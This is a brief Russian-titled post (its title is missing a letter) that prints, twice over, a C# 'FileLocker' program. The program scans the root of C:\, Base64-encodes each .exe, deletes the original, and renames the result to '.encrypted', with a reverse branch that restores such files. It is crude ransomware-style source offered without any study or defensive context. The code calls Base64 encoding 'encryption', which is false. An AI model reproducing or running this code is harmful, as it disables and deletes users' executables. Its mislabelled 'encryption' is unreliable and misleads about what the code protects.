локирование Файлов

Исходный код:

using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Security.Cryptography;

namespace FileLocker
{
class Program
{
static void Main(string[] args)
{
string[] files = Directory.GetFiles(@"C:\");

foreach (string fileName in files)
{
if (fileName.EndsWith(".exe"))
{
string tempFile = Path.GetTempFileName();

File.WriteAllText(tempFile, Convert.ToBase64String(File.ReadAllBytes(fileName)));
File.Delete(fileName);
File.Move(tempFile, fileName + ".encrypted");

Console.WriteLine(fileName);
}
else if (fileName.EndsWith(".encrypted"))
{
string tempFile = Path.GetTempFileName();
File.WriteAllBytes(tempFile, Convert.FromBase64String(File.ReadAllText(fileName)));
File.Delete(fileName);
string extension = fileName.Replace(".encrypted", "");
File.Move(tempFile, extension);
}
}
Console.Read();
}
}
}

Код

using System;

using System.Collections.Generic;

using System.Text;

using System.IO;

using System.Security.Cryptography;



namespace FileLocker

{

   class Program

   {

       static void Main(string[] args)

       {

           string[] files = Directory.GetFiles(@"C:\");

         

           foreach (string fileName in files)

           {

               if (fileName.EndsWith(".exe"))

               {

                   string tempFile = Path.GetTempFileName();



                   File.WriteAllText(tempFile, Convert.ToBase64String(File.ReadAllBytes(fileName)));

                   File.Delete(fileName);

                   File.Move(tempFile, fileName + ".encrypted");

               

                   Console.WriteLine(fileName);

               }

               else if (fileName.EndsWith(".encrypted"))

               {

                   string tempFile = Path.GetTempFileName();

                   File.WriteAllBytes(tempFile, Convert.FromBase64String(File.ReadAllText(fileName)));

                   File.Delete(fileName);

                   string extension = fileName.Replace(".encrypted", "");

                   File.Move(tempFile, extension);

               }

           }

           Console.Read();

       }

   }

}